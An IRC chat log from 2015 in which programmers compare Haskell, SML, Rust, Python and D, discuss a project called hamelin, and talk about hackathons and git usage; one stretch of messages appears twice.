[2015-02-23T00:19:48-0500] <+awe> "SML has a truly interactive interpreter in which functions can be both defined and used. In Haskell, functions must be defined in a separate file and compiled before being used in the interactive shell."
[2015-02-23T00:19:50-0500] <+awe> This is false.
[2015-02-23T00:19:57-0500] <grantwu> ...
[2015-02-23T00:20:06-0500] <+awe> You can write functions in ghci.
[2015-02-23T00:20:09-0500] <grantwu> .......
[2015-02-23T00:20:15-0500] <grantwu> there's a response addressing that
[2015-02-23T00:20:20-0500] <+awe> Yeah, I just saw that.
[2015-02-23T00:20:51-0500] <grantwu> the point was that this was the first result I got when I googled for "haskell either type sml equivalent"
[2015-02-23T00:20:58-0500] <grantwu> And here it says SML doesn't have an either type
[2015-02-23T00:21:33-0500] <grantwu> so methinks that answers your question
[2015-02-23T00:25:23-0500] <+awe> grantwu: I don't see anything in this page about SML not having an Either type?
[2015-02-23T00:25:49-0500] <grantwu> oops
[2015-02-23T00:25:52-0500] <grantwu> I reread the page
[2015-02-23T00:25:55-0500] <grantwu> you're right
[2015-02-23T00:26:03-0500] <grantwu> except things like preferring list comprehensions over good library functions, since SML doesn't have eitherexcept things like preferring list comprehensions over good library functions, since SML doesn't have either
[2015-02-23T00:26:10-0500] <grantwu> I thought this meant that SML doesn't have the either type
[2015-02-23T00:26:12-0500] <grantwu> my bad
[2015-02-23T00:26:17-0500] <+awe> Yeah, no worries.
[2015-02-23T00:28:51-0500] <+awe> grantwu: this is a really interesting discussion anyway.
[2015-02-23T00:28:58-0500] <+awe> grantwu: "They quickly discovered list comprehensions and preferred them over higher-order functions like filter, map, zipWith."
[2015-02-23T00:29:03-0500] <+awe> I find that incredibly interesting.
[2015-02-23T00:29:06-0500] <+awe> I hate list comprehensions.
[2015-02-23T00:29:08-0500] <+awe> I find them hard to deal with.
[2015-02-23T00:29:22-0500] <+awe> I much prefer higher-order functions.
[2015-02-23T00:29:32-0500] <grantwu> so... today we learned awe is not representative of the average student? lul
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[2015-02-23T00:33:23-0500] <+awe> exactMatches c = length . filter id . zipWith (==) c
[2015-02-23T00:33:25-0500] <+awe> grantwu: ^
[2015-02-23T00:33:32-0500] <+awe> you could totally do this with list comprehensions...
[2015-02-23T00:33:37-0500] <+awe> but would it really be nicer?
[2015-02-23T00:33:59-0500] <grantwu> awe: I don't know Haskell, I don't know list comprehensions, and I also don't know what zipWith is .-.
[2015-02-23T00:34:32-0500] <+awe> So, zip is a function that takes two lists and returns a list of tuples.
[2015-02-23T00:34:45-0500] <+awe> zip :: [a] -> [b] -> [(a, b)]
[2015-02-23T00:34:59-0500] <+awe> zipWith is that generalized to combining the two lists with any function.
[2015-02-23T00:35:32-0500] <+awe> So, that code combines two lists c and whatever the function is called with
[2015-02-23T00:35:48-0500] <grantwu> wait but I only see one list...
[2015-02-23T00:35:55-0500] <+awe> partial application
[2015-02-23T00:36:07-0500] <+awe> exactMatches a b = length . filter id $ zipWith (==) a b
[2015-02-23T00:36:11-0500] <grantwu> okay
[2015-02-23T00:36:11-0500] <+awe> that's equivalent
[2015-02-23T00:36:32-0500] <+awe> filter id will then remove all the non-true elements in this list of booleans
[2015-02-23T00:36:42-0500] <+awe> and then we take the length of that to get the number of exact matches
[2015-02-23T00:36:50-0500] <grantwu> okay that makes sense
[2015-02-23T00:37:16-0500] <+awe> you could do something similar by taking the length of the result of a list comprehension that basically does what zipWith (==) does
[2015-02-23T00:37:19-0500] <+awe> but it's way more verbose. :s
[2015-02-23T00:37:29-0500] <grantwu> I'm not completely sure if you can define functions partially
[2015-02-23T00:37:36-0500] <+awe> in SML?
[2015-02-23T00:37:37-0500] <+awe> You should be able to.
[2015-02-23T00:37:59-0500] <grantwu> uh I'm having a brian fart
[2015-02-23T00:38:03-0500] <grantwu> *brain
[2015-02-23T00:38:07-0500] <grantwu> Can you give me an example
[2015-02-23T00:38:46-0500] <+awe> can you do currying in SML?
[2015-02-23T00:38:50-0500] <grantwu> yes of course
[2015-02-23T00:38:50-0500] <+awe> If so, you can do partial application.
[2015-02-23T00:38:53-0500] <+awe> That's all it is.
[2015-02-23T00:39:13-0500] <grantwu> Hrm I don't know how to express what I'm saying
[2015-02-23T00:39:15-0500] <+awe> exactMatches c = length . filter id . zipWith (==) c actually returns a function.
[2015-02-23T00:39:24-0500] <+awe> that function takes a parameter and returns the length.
[2015-02-23T00:39:24-0500] <grantwu> yeah I know
[2015-02-23T00:41:01-0500] <grantwu> ah nope I'm just being stupid
[2015-02-23T00:41:11-0500] <grantwu> fun foo f = map f works fine
[2015-02-23T00:42:18-0500] <grantwu> I'm tired. 
[2015-02-23T00:42:48-0500] <+awe> No worries.
[2015-02-23T00:45:42-0500] <grantwu> SML isn't that gross xD
[2015-02-23T00:45:49-0500] <+awe> Nah, it's aight.
[2015-02-23T00:45:57-0500] <grantwu> It does support currying.  can confirm.  lololol
[2015-02-23T00:46:17-0500] <grantwu> tuples are generally idiomatic, depending on the function, however.
[2015-02-23T00:46:23-0500] <grantwu> (For SML)
[2015-02-23T00:49:29-0500] <+awe> You can do that in Haskell.
[2015-02-23T00:49:30-0500] <+awe> uncorry
[2015-02-23T00:49:32-0500] <+awe> uncurry*
[2015-02-23T00:49:40-0500] <+awe> uncurry :: (a -> b -> c) -> (a, b) -> c
[2015-02-23T00:50:00-0500] <+awe> takes a curried function and turns it into one that takes a tuple :)
[2015-02-23T00:50:10-0500] <+awe> and the inverse operation
[2015-02-23T00:50:11-0500] <+awe> curry :: ((a, b) -> c) -> a -> b -> c
[2015-02-23T00:50:56-0500] <grantwu> uhhhhhh not sure if SML supports that :P
[2015-02-23T00:51:21-0500] <+awe> Well, you can at least make Haskell into idiomatic SML lol
[2015-02-23T00:51:21-0500] <grantwu> I think we went over manually implementing that in recitation
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[2015-02-23T07:59:09-0500] <JacobEdelman_> gmorning all
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[2015-02-23T10:41:58-0500] <JacobEdelman_> LBT
[2015-02-23T10:42:01-0500] <JacobEdelman_> goes on the sctf irc
[2015-02-23T10:42:06-0500] <JacobEdelman_> with cptnxn user name
[2015-02-23T10:42:09-0500] <JacobEdelman_> insults somebodies name
[2015-02-23T10:42:18-0500] <JacobEdelman_> and everybody starts freaking out over him and thanking him
[2015-02-23T10:56:02-0500] <JacobEdelman_> it was entertaining
[2015-02-23T10:56:26-0500] <Hyper> JacobEdelman_: they were freaking out because they knew of him from osu?
[2015-02-23T11:16:19-0500] <JacobEdelman_> yes
[2015-02-23T11:16:28-0500] <JacobEdelman_> apparentey he is quiet well known
[2015-02-23T11:17:22-0500] <JacobEdelman_> hardmath123: I redid the pdgn implementation
[2015-02-23T11:17:25-0500] <JacobEdelman_> by using the fact
[2015-02-23T11:17:32-0500] <JacobEdelman_> that http 1.1
[2015-02-23T11:17:37-0500] <JacobEdelman_> supports keep-alive
[2015-02-23T11:17:48-0500] <JacobEdelman_> which means, the normal interchange of data for hamelin
[2015-02-23T11:17:49-0500] <JacobEdelman_> will work
[2015-02-23T11:26:19-0500] <+awe> JacobEdelman_: pdgn implementation? wat?
[2015-02-23T11:28:32-0500] <JacobEdelman_> #hamelin
[2015-02-23T11:28:32-0500] <JacobEdelman_> *hamelin
[2015-02-23T11:28:32-0500] <JacobEdelman_> not pdgn
[2015-02-23T11:28:32-0500] <JacobEdelman_> oops
[2015-02-23T11:28:32-0500] <JacobEdelman_> yeah,
[2015-02-23T11:28:33-0500] <JacobEdelman_> I wrote a http hamelin implementation
[2015-02-23T11:28:37-0500] <JacobEdelman_> it supports get requests
[2015-02-23T11:28:39-0500] <JacobEdelman_> and is amazing
[2015-02-23T11:39:57-0500] <+awe> Guaranteed is not amazing.
[2015-02-23T11:47:27-0500] <+awe> lol, the author of mio made a typo and accidentally broke compilation of all the things that depend on it.
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[2015-02-23T11:52:13-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-23T00:39:13-0500] <grantwu> Hrm I don't know how to express what I'm saying
[2015-02-23T00:39:15-0500] <+awe> exactMatches c = length . filter id . zipWith (==) c actually returns a function.
[2015-02-23T00:39:24-0500] <+awe> that function takes a parameter and returns the length.
[2015-02-23T00:39:24-0500] <grantwu> yeah I know
[2015-02-23T00:41:01-0500] <grantwu> ah nope I'm just being stupid
[2015-02-23T00:41:11-0500] <grantwu> fun foo f = map f works fine
[2015-02-23T00:42:18-0500] <grantwu> I'm tired. 
[2015-02-23T00:42:48-0500] <+awe> No worries.
[2015-02-23T00:45:42-0500] <grantwu> SML isn't that gross xD
[2015-02-23T00:45:49-0500] <+awe> Nah, it's aight.
[2015-02-23T00:45:57-0500] <grantwu> It does support currying.  can confirm.  lololol
[2015-02-23T00:46:17-0500] <grantwu> tuples are generally idiomatic, depending on the function, however.
[2015-02-23T00:46:23-0500] <grantwu> (For SML)
[2015-02-23T00:49:29-0500] <+awe> You can do that in Haskell.
[2015-02-23T00:49:30-0500] <+awe> uncorry
[2015-02-23T00:49:32-0500] <+awe> uncurry*
[2015-02-23T00:49:40-0500] <+awe> uncurry :: (a -> b -> c) -> (a, b) -> c
[2015-02-23T00:50:00-0500] <+awe> takes a curried function and turns it into one that takes a tuple :)
[2015-02-23T00:50:10-0500] <+awe> and the inverse operation
[2015-02-23T00:50:10-0500] <+awe> curry :: ((a, b) -> c) -> a -> b -> c
[2015-02-23T00:50:56-0500] <grantwu> uhhhhhh not sure if SML supports that :P
[2015-02-23T00:51:21-0500] <+awe> Well, you can at least make Haskell into idiomatic SML lol
[2015-02-23T00:51:21-0500] <grantwu> I think we went over manually implementing that in recitation
[2015-02-23T07:59:09-0500] <JacobEdelman_> gmorning all
[2015-02-23T10:41:58-0500] <JacobEdelman_> LBT
[2015-02-23T10:42:01-0500] <JacobEdelman_> goes on the sctf irc
[2015-02-23T10:42:06-0500] <JacobEdelman_> with cptnxn user name
[2015-02-23T10:42:09-0500] <JacobEdelman_> insults somebodies name
[2015-02-23T10:42:18-0500] <JacobEdelman_> and everybody starts freaking out over him and thanking him
[2015-02-23T10:56:02-0500] <JacobEdelman_> it was entertaining
[2015-02-23T10:56:26-0500] <Hyper> JacobEdelman_: they were freaking out because they knew of him from osu?
[2015-02-23T11:16:19-0500] <JacobEdelman_> yes
[2015-02-23T11:16:28-0500] <JacobEdelman_> apparentey he is quiet well known
[2015-02-23T11:17:22-0500] <JacobEdelman_> hardmath123: I redid the pdgn implementation
[2015-02-23T11:17:25-0500] <JacobEdelman_> by using the fact
[2015-02-23T11:17:32-0500] <JacobEdelman_> that http 1.1
[2015-02-23T11:17:37-0500] <JacobEdelman_> supports keep-alive
[2015-02-23T11:17:48-0500] <JacobEdelman_> which means, the normal interchange of data for hamelin
[2015-02-23T11:17:49-0500] <JacobEdelman_> will work
[2015-02-23T11:26:19-0500] <+awe> JacobEdelman_: pdgn implementation? wat?
[2015-02-23T11:28:17-0500] <JacobEdelman_> #hamelin
[2015-02-23T11:28:19-0500] <JacobEdelman_> *hamelin
[2015-02-23T11:28:21-0500] <JacobEdelman_> not pdgn
[2015-02-23T11:28:22-0500] <JacobEdelman_> oops
[2015-02-23T11:28:24-0500] <JacobEdelman_> yeah,
[2015-02-23T11:28:33-0500] <JacobEdelman_> I wrote a http hamelin implementation
[2015-02-23T11:28:37-0500] <JacobEdelman_> it supports get requests
[2015-02-23T11:28:39-0500] <JacobEdelman_> and is amazing
[2015-02-23T11:39:57-0500] <+awe> Guaranteed is not amazing.
[2015-02-23T11:47:27-0500] <+awe> lol, the author of mio made a typo and accidentally broke compilation of all the things that depend on it.
[2015-02-23T11:52:13-0500] Mode is +nt
[2015-02-23T12:03:23-0500] <JacobEdelman_> what is the intended behavoiro when I run hamelin on echo "42" ?
[2015-02-23T12:03:31-0500] <JacobEdelman_> the net version in pytho throws an error
[2015-02-23T12:03:41-0500] <JacobEdelman_> but still works as you'd want it to work
[2015-02-23T13:22:16-0500] <+awe> JacobEdelman_: wat
[2015-02-23T13:22:54-0500] <+awe> Mine doesn't throw an error.
[2015-02-23T13:23:36-0500] <JacobEdelman_> really?
[2015-02-23T13:23:39-0500] <JacobEdelman_> when you connect to it
[2015-02-23T13:23:40-0500] <JacobEdelman_> ?
[2015-02-23T13:23:44-0500] <JacobEdelman_> try it a few times?
[2015-02-23T13:23:49-0500] <JacobEdelman_> the python version?
[2015-02-23T13:23:50-0500] <+awe> No.
[2015-02-23T13:23:53-0500] <+awe> _mine_
[2015-02-23T13:23:58-0500] <JacobEdelman_> oooh
[2015-02-23T13:24:01-0500] <JacobEdelman_> well, thats expected
[2015-02-23T13:24:04-0500] <JacobEdelman_> the python version is broken
[2015-02-23T13:24:10-0500] <JacobEdelman_> since it will give the output
[2015-02-23T13:24:16-0500] <+awe> I already told you that my version is objectively better.
[2015-02-23T13:24:20-0500] <JacobEdelman_> but than when you try to write any use input to the socket
[2015-02-23T13:24:21-0500] <JacobEdelman_> it crashes
[2015-02-23T13:24:23-0500] <JacobEdelman_> I think
[2015-02-23T13:24:30-0500] <JacobEdelman_> something like that
[2015-02-23T13:24:41-0500] <+awe> My version is both more scalable and more correct.
[2015-02-23T13:24:51-0500] <JacobEdelman_> true
[2015-02-23T13:24:55-0500] <JacobEdelman_> but harder to write things for
[2015-02-23T13:25:00-0500] <JacobEdelman_> cause its in rust
[2015-02-23T13:25:04-0500] <JacobEdelman_> but I'll look at it
[2015-02-23T13:25:09-0500] <JacobEdelman_> is it on github yet?
[2015-02-23T13:25:10-0500] <+awe> Yes.
[2015-02-23T13:25:14-0500] <+awe> It's been on GitHub the whole time.
[2015-02-23T13:25:18-0500] <+awe> https://github.com/aatxe/hamelin.rs
[2015-02-23T13:25:21-0500] <+awe> It's really not that bad to write.
[2015-02-23T13:25:31-0500] <+awe> It took me an hour or two to write the HTTP one last night.
[2015-02-23T13:26:06-0500] <JacobEdelman_> I reitereate the advantage to python
[2015-02-23T13:26:10-0500] <JacobEdelman_> pre-existing libraries
[2015-02-23T13:26:17-0500] <+awe> I used a pre-existing library for the HTTP one.
[2015-02-23T13:26:19-0500] <+awe> And for the IRC one.
[2015-02-23T13:26:25-0500] <+awe> And for the net one.
[2015-02-23T13:26:28-0500] <+awe> And for the SSL one.
[2015-02-23T13:26:39-0500] <JacobEdelman_> yeah
[2015-02-23T13:26:44-0500] <JacobEdelman_> btu for actually advanced stuff
[2015-02-23T13:26:46-0500] <+awe> Although, admittedly, the TCP one is a very low-level library.
[2015-02-23T13:26:48-0500] <JacobEdelman_> *not advanced
[2015-02-23T13:26:50-0500] <JacobEdelman_> I mean other
[2015-02-23T13:26:58-0500] <JacobEdelman_>  or more obscure
[2015-02-23T13:27:06-0500] <JacobEdelman_> you will not have stable pre-existing libraries
[2015-02-23T13:27:06-0500] <+awe> You have to realize that the first things that develop in a language ecosystem are I/O libraries.
[2015-02-23T13:27:22-0500] <+awe> Because of exactly the phenomena you're describing.
[2015-02-23T13:27:31-0500] <+awe> People want to walk into a language and be able to use their favorite database or whatever.
[2015-02-23T13:27:47-0500] <JacobEdelman_> okay
[2015-02-23T13:27:59-0500] <JacobEdelman_> cough cough open ssl was broken
[2015-02-23T13:28:04-0500] <+awe> What do you mean>
[2015-02-23T13:28:04-0500] <+awe> ?
[2015-02-23T13:28:18-0500] <+awe> When I was talking about the binding breaking?
[2015-02-23T13:28:34-0500] <JacobEdelman_> yeah
[2015-02-23T13:28:37-0500] <+awe> That's because of the language being unstable, not the bindings.
[2015-02-23T13:28:38-0500] <JacobEdelman_> something like that
[2015-02-23T13:28:39-0500] <JacobEdelman_> fine
[2015-02-23T13:29:05-0500] <+awe> And even with the instability, I'd pick Rust over Python any day.
[2015-02-23T13:29:40-0500] <Hyper> awe: I think they're suited for very different purposes
[2015-02-23T13:29:50-0500] <+awe> Hyper: This is very true.
[2015-02-23T13:30:01-0500] <+awe> I don't think Python is ever suited for actually writing software though.
[2015-02-23T13:30:11-0500] <+awe> In the sense of complex software systems.
[2015-02-23T13:30:27-0500] <Hyper> ehhh I'd be inclined to disagree.
[2015-02-23T13:30:50-0500] <Hyper> there are some issues that are really major, but I think it's quite a good language to do stuff in
[2015-02-23T13:30:55-0500] <+awe> It's neither fast nor safe.
[2015-02-23T13:31:00-0500] <+awe> Which just seems silly to me.
[2015-02-23T13:31:42-0500] <JacobEdelman_> the vast majority of time a program takes tends to be the developers time
[2015-02-23T13:31:46-0500] <JacobEdelman_> thats the bottleneck
[2015-02-23T13:31:50-0500] <JacobEdelman_> in my opinion
[2015-02-23T13:31:52-0500] <JacobEdelman_> for many things
[2015-02-23T13:32:07-0500] <+awe> And I don't think Python optimizes developer time more than other high-level languages that *enforce* correctness.
[2015-02-23T13:32:36-0500] <Hyper> I think that's a load of bullshit and you know it.
[2015-02-23T13:32:41-0500] <+awe> No, I really don't.
[2015-02-23T13:32:52-0500] <+awe> I do not believe that Python is somehow faster to write correctly than Haskell.
[2015-02-23T13:32:56-0500] <Hyper> correctness is not a thing that makes life easier in terms of working time
[2015-02-23T13:33:12-0500] <+awe> No, correctness is a thing you need to have *either way*.
[2015-02-23T13:33:43-0500] <+awe> A half-working implementation of something in 2/3 the development time isn't worthwhile to me.
[2015-02-23T13:34:06-0500] <JacobEdelman_> SOMEBODY TOOK MY SIDE IN AN ARGUMENT
[2015-02-23T13:34:16-0500] <Hyper> JacobEdelman_: everybody gets one
[2015-02-23T13:34:16-0500] <JacobEdelman_> sorry for the caps, had to get that out there
[2015-02-23T13:34:25-0500] <+awe> bob_twinkles would agree with me if he was here.
[2015-02-23T13:34:45-0500] <+awe> It's totally fine if your priorities are such that you'd rather have something quickly that isn't as correct.
[2015-02-23T13:35:06-0500] <+awe> But that's not something I'd accept on a team that I was running.
[2015-02-23T13:35:14-0500] <JacobEdelman_> its possible to have both
[2015-02-23T13:35:23-0500] <Hyper> like, I agree that correctness is the shit, but if I want typechecking and performance I can open a D file and have a very nice time :)
[2015-02-23T13:35:28-0500] <JacobEdelman_> worse is (sometimes) better
[2015-02-23T13:35:58-0500] <JacobEdelman_> its sometimes okay to sacrifice correctness for simplicity
[2015-02-23T13:36:06-0500] <+awe> Also, there's been some studies about dynamic type systems and the idea that they're faster to write code in.
[2015-02-23T13:36:07-0500] <Hyper> I'm more arguing against formal correctness as strictly better in terms of developer time
[2015-02-23T13:36:27-0500] <+awe> And they tend to not be able to show that that's the case.
[2015-02-23T13:36:41-0500] <+awe> So, I guess if you personally feel more productive, that's okay and valuable in and of itself.
[2015-02-23T13:37:02-0500] <JacobEdelman_> I don't buy that study, correllation doesn't imply causation
[2015-02-23T13:37:11-0500] <+awe> JacobEdelman_: wat?
[2015-02-23T13:37:24-0500] <Hyper> personally I don't think typing really affects productivity much, at least not on smaller projects or projects where things conform to consistient interfaces
[2015-02-23T13:37:27-0500] <+awe> JacobEdelman_: the findings that I've seen were all that there was no correlation.
[2015-02-23T13:37:27-0500] <JacobEdelman_> oh wait
[2015-02-23T13:37:30-0500] <JacobEdelman_> oops
[2015-02-23T13:37:36-0500] <JacobEdelman_> misread what you said completely
[2015-02-23T13:37:37-0500] <+awe> Hyper: that's basically the findings of the study :p
[2015-02-23T13:37:41-0500] <JacobEdelman_> got it utterly backwards
[2015-02-23T13:37:57-0500] <JacobEdelman_> Hyper: what? I can code golf much more easily without typing :P
[2015-02-23T13:38:42-0500] <Hyper> for instance, I very rarely know what types i'm actually using in D. auto and the template system mean that most of the code I'm using is generic enough that when the actual type doesn't matter I can just use std.conv's .to!type function
[2015-02-23T13:39:07-0500] <Hyper> an example:
[2015-02-23T13:40:14-0500] <+awe> I think thinking about types is a really valuable skill though, especially in a language like Haskell.
[2015-02-23T13:40:42-0500] <Hyper> std.algorithm.map returns some weirdass struct called a MapResult!T, which contains the results of your computation (it might do it lazily, or it might do it eagerly, who cares), which you can iterate over
[2015-02-23T13:41:24-0500] <Hyper> if I ever care about turning it into a T[], I can just call .array() on it, which iterates over it and returns just that.
[2015-02-23T13:41:29-0500] <+awe> "(it might do it lazily, or it might do it eagerly, who cares),"
[2015-02-23T13:41:45-0500] <+awe> someone trying to do algorithmic analysis lol
[2015-02-23T13:42:21-0500] <Hyper> it's O(n). Algoithmic analysis doesn't care when the operation happens as long as it happens
[2015-02-23T13:42:53-0500] <+awe> well, I guess if it doesn't do thunks and stuff.
[2015-02-23T13:42:59-0500] <Hyper> also the who cares was more of me not wanting to open up the docs
[2015-02-23T13:43:08-0500] <Hyper> not who cares in the spec
[2015-02-23T13:43:11-0500] <+awe> I was making a silly joke.
[2015-02-23T13:43:14-0500] <Hyper> lol
[2015-02-23T13:43:20-0500] <+awe> Because that's a big thing in Haskell.
[2015-02-23T13:43:43-0500] <+awe> It's really hard to reason about performance implications of certain things specifically because of laziness and algorithmic transformations and stuff.
[2015-02-23T13:43:46-0500] <Hyper> I think there's a seperate lazymap
[2015-02-23T13:44:00-0500] <+awe> (and there's all sorts of strict data structures to avoid that0
[2015-02-23T13:44:01-0500] <+awe> )*
[2015-02-23T13:44:10-0500] <Hyper> yeah laziness can be weird
[2015-02-23T13:44:38-0500] <Hyper> I had an instant bezier curve implementation using lazy values, so long as you don't need to find any points :)
[2015-02-23T13:46:45-0500] <Hyper> also holy fuck everytime I come back to D after doing C++ classwork for awhile I have this little adrenaline rush as I realize how much better the language is
[2015-02-23T13:47:36-0500] <Hyper> "Want to sort something? just import std.algorithm and call .sort on the thing"
[2015-02-23T13:48:13-0500] <Hyper> no sort(x.begin(), x.end()) bullshit
[2015-02-23T13:49:20-0500] <Hyper> also array slicing is awesome
[2015-02-23T13:49:27-0500] <Hyper> just everything is awesome
[2015-02-23T13:50:47-0500] <Hyper> I've been doing some SIMD stuff with vector extensions in D lately and everything is handled for it in the core.simd lib so I don't have to do inline assembly or crazy imports like you do in C++
[2015-02-23T13:50:50-0500] <Hyper> it's great
[2015-02-23T13:58:11-0500] <JacobEdelman_> that happens to me with python
[2015-02-23T13:58:26-0500] <JacobEdelman_> I'm buying into the fact that everyone has one language that they really love and are good at
[2015-02-23T13:58:43-0500] <JacobEdelman_> aka there "first language" (although for some it isn't actually there first)
[2015-02-23T13:58:46-0500] <JacobEdelman_> for me its python
[2015-02-23T13:58:56-0500] <JacobEdelman_> despite how much I want to get into working with javascript
[2015-02-23T13:58:58-0500] <JacobEdelman_> I can't
[2015-02-23T13:59:03-0500] <JacobEdelman_> the syntax, the style
[2015-02-23T13:59:07-0500] <JacobEdelman_> I can't quiet love it
[2015-02-23T14:00:40-0500] <JacobEdelman_> awe: i don't like having config files
[2015-02-23T14:00:41-0500] <JacobEdelman_> for hamelin
[2015-02-23T14:00:46-0500] <+awe> ?
[2015-02-23T14:00:51-0500] <JacobEdelman_> for your irc
[2015-02-23T14:00:53-0500] <+awe> Yeah.
[2015-02-23T14:00:53-0500] <JacobEdelman_> implementaiton
[2015-02-23T14:00:54-0500] <+awe> I know.
[2015-02-23T14:01:00-0500] <JacobEdelman_> I mean, hamelin is supposed to be really simple and easy to set up
[2015-02-23T14:01:02-0500] <JacobEdelman_> config files... eh
[2015-02-23T14:01:10-0500] <+awe> I don't intend on keeping it forever.
[2015-02-23T14:01:12-0500] <JacobEdelman_> also, can you post an example using your http thing?
[2015-02-23T14:01:36-0500] <+awe> ./target/http localhost 30000 echo "42"
[2015-02-23T14:02:14-0500] <Fill> awe: please remember me how do I check that I didn't break any test, or correct me if I'm wrong: first I run mktestconfig.sh to generate a sample json, and then cargo test, right?
[2015-02-23T14:02:22-0500] <+awe> Yup.
[2015-02-23T14:02:25-0500] <Fill> ok
[2015-02-23T14:06:47-0500] <JacobEdelman_> thats 42 as a service?
[2015-02-23T14:06:50-0500] <+awe> Yes.
[2015-02-23T14:07:24-0500] <+awe> Note: you have to send a post request to it though.
[2015-02-23T14:07:29-0500] <+awe> any post request will yield 42
[2015-02-23T14:08:08-0500] <+awe> JacobEdelman_: https://www.dropbox.com/s/uy46q6na8qxyf4x/Screenshot%202015-02-23%2014.08.05.png?dl=0
[2015-02-23T14:08:28-0500] <JacobEdelman_> okay
[2015-02-23T14:08:38-0500] <JacobEdelman_> wait
[2015-02-23T14:08:44-0500] <JacobEdelman_> why is your browser doing a post request?
[2015-02-23T14:09:14-0500] <+awe> I submitted it from a form.
[2015-02-23T14:09:44-0500] <+awe> data:text/html,<form%20action="http://127.0.0.1:4000"%20method="POST"%20accept-charset="UTF-8"><textarea%20name="data"%20cols="80"%20rows="24"></textarea><br><button%20type="submit">submit</button></form>
[2015-02-23T14:09:54-0500] <+awe> If you have a link with that in it and click it, it'll open a form that you can submit.
[2015-02-23T14:10:37-0500] <JacobEdelman_> ehhh
[2015-02-23T14:10:38-0500] <JacobEdelman_> still
[2015-02-23T14:10:41-0500] <JacobEdelman_> I don't think
[2015-02-23T14:10:44-0500] <+awe> http://www.eventbrite.com/e/hackumass-ii-tickets-15487208658
[2015-02-23T14:10:46-0500] <JacobEdelman_> thats gonna be as useful
[2015-02-23T14:10:53-0500] <JacobEdelman_> as http get
[2015-02-23T14:11:13-0500] <+awe> Apparently, general admission already opened.
[2015-02-23T14:11:18-0500] <+awe> They just didn't email anyone.
[2015-02-23T14:11:51-0500] <JacobEdelman_> oh
[2015-02-23T14:11:56-0500] <JacobEdelman_> well, I signed up for the wait list
[2015-02-23T14:12:05-0500] <+awe> alokpathy: ^?
[2015-02-23T14:12:12-0500] <JacobEdelman_> although no guarntess
[2015-02-23T14:12:35-0500] <+awe> We can probably harass them to let you in.
[2015-02-23T14:12:55-0500] <JacobEdelman_> hhmmm
[2015-02-23T14:13:01-0500] <JacobEdelman_> hmm....
[2015-02-23T14:13:18-0500] <JacobEdelman_> I mean, I'm guessing I can get in
[2015-02-23T14:13:28-0500] <JacobEdelman_> I'm worreid about whether I could actually go
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[2015-02-23T14:15:03-0500] <JacobEdelman_> gtg
[2015-02-23T14:15:05-0500] <JacobEdelman_> for a bit
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[2015-02-23T14:20:47-0500] <JacobEdelman_> I have rearrived
[2015-02-23T14:21:32-0500] <+awe> Welcome back.
[2015-02-23T14:22:21-0500] <JacobEdelman_> hscs
[2015-02-23T14:22:26-0500] <JacobEdelman_> is being sponsored by digital ocean
[2015-02-23T14:22:31-0500] <JacobEdelman_> stickers to all attendees
[2015-02-23T14:23:02-0500] <JacobEdelman_> and credit to some
[2015-02-23T14:23:08-0500] <JacobEdelman_> I'm not sure how the credit works yets
[2015-02-23T14:23:10-0500] <JacobEdelman_> *yet
[2015-02-23T14:23:17-0500] <JacobEdelman_> though I think
[2015-02-23T14:23:37-0500] <JacobEdelman_> that they are just gonna give us a bunch fo digital ocean credit
[2015-02-23T14:23:40-0500] <JacobEdelman_> and we can give it out
[2015-02-23T14:23:51-0500] <JacobEdelman_> (maybe only 15 bucks per person, I'm not sure)
[2015-02-23T14:24:59-0500] <+awe> If it's anything like the promo codes at PennApps, it's useless
[2015-02-23T14:25:11-0500] <+awe> because everyone inherently qualifies for a significantly larger promo code through the GitHub education pack.
[2015-02-23T14:25:30-0500] <JacobEdelman_> well
[2015-02-23T14:25:33-0500] <JacobEdelman_> there are hs students
[2015-02-23T14:25:38-0500] <JacobEdelman_> many of whom won't know that
[2015-02-23T14:25:39-0500] <JacobEdelman_> :P
[2015-02-23T14:25:43-0500] <JacobEdelman_> (they probaly are)
[2015-02-23T14:25:54-0500] <JacobEdelman_> you can't use both?
[2015-02-23T14:27:27-0500] <+awe> No.
[2015-02-23T14:27:29-0500] <+awe> You can't use both.
[2015-02-23T14:27:41-0500] <JacobEdelman_> oh
[2015-02-23T14:27:48-0500] <JacobEdelman_> how much from the github student pack?
[2015-02-23T14:27:50-0500] <+awe> $100.
[2015-02-23T14:27:55-0500] <JacobEdelman_> wowzers
[2015-02-23T14:28:30-0500] <+awe> Yeah.
[2015-02-23T14:33:25-0500] <adunna> Oh snap, I forgot to get that pack
[2015-02-23T14:33:29-0500] <adunna> Getting it right now like asap
[2015-02-23T14:33:47-0500] <JacobEdelman_> and
[2015-02-23T14:33:54-0500] <JacobEdelman_> Got 60 dollars for hscs.io support
[2015-02-23T14:34:20-0500] <JacobEdelman_> so, I don't need to use my own money from the pack to sponsor it
[2015-02-23T14:34:23-0500] <JacobEdelman_> they are quiet nice
[2015-02-23T14:35:10-0500] <JacobEdelman_> (60 dollars from DO)
[2015-02-23T14:35:43-0500] <adunna> Nope nevermind I got it
[2015-02-23T14:35:49-0500] <adunna> Whelp I submitted one in december
[2015-02-23T14:35:50-0500] <adunna> No response yet >_>
[2015-02-23T14:36:59-0500] <JacobEdelman_> wow
[2015-02-23T14:37:01-0500] <JacobEdelman_> well
[2015-02-23T14:37:05-0500] <JacobEdelman_> in a bit
[2015-02-23T14:37:10-0500] <JacobEdelman_> (probaly after sctf)
[2015-02-23T14:37:15-0500] <JacobEdelman_> I'll set up a digital ocean server
[2015-02-23T14:37:18-0500] <JacobEdelman_> for all future ctfs
[2015-02-23T14:37:20-0500] <JacobEdelman_> that we run
[2015-02-23T14:39:40-0500] <+awe> My pack plus some money that a friend gave me for my birthday are what currently runs this network.
[2015-02-23T14:41:38-0500] <JacobEdelman_> Yeah!
[2015-02-23T14:41:38-0500] <JacobEdelman_> http://awesomescreenshot.com/0b54gwune9
[2015-02-23T14:41:47-0500] <JacobEdelman_> thats for hscs.io
[2015-02-23T14:47:03-0500] <adunna> So peppy. "Booyah!"
[2015-02-23T14:51:41-0500] <+awe> Fill: the PR looks good.
[2015-02-23T14:52:02-0500] <+awe> Fill: can you squash the commits?
[2015-02-23T14:52:40-0500] <Fill> awe: Hm. I must admit, I'm a very basic git user. I have a rough idea of what squashing commits means -- merge them all into one?
[2015-02-23T14:52:44-0500] <+awe> Yeah.
[2015-02-23T14:52:57-0500] <+awe> git rebase -i HEAD~5
[2015-02-23T14:53:01-0500] <Fill> awe: so I do that on my repo. and then do a new PR?
[2015-02-23T14:53:10-0500] <+awe> Do it locally then git push -f
